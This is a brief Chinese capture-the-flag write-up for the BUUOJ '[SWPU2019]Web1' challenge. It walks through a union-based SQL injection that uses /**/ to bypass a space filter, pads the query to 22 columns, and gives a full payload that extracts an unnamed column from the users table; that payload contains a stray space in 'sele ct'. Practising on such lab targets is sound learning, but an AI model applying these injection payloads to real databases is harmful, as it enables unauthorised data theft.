第五十五题——[SWPU2019]Web1

题目地址：https://buuoj.cn/challenges

解题思路

阴间题目，需要手动测试到22列，拜拜了您嘞，参考链接：点这里跳转

获取flag

1. 使用union select 1,2,3可以看到过滤了空格，使unionselect合在了一起，可以使用/**/代替空格
   

2. 使用union/**/select/**/1,2,3,.....,22'看到了回显
   

3. 在使用union select查询不存在的数据时会构造查询的列名以及值满足查询要求，所以再不知道表明时，可以构造表名，查询出那一列的内容，以获取flag，构造：1'/**/union/**/select/**/1, (select/**/group_concat(b)/**/from(select/**/1,2/**/as/**/a,3/**/as/**/b/**/union/**/sele ct*from/**/users)x),3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22'获取flag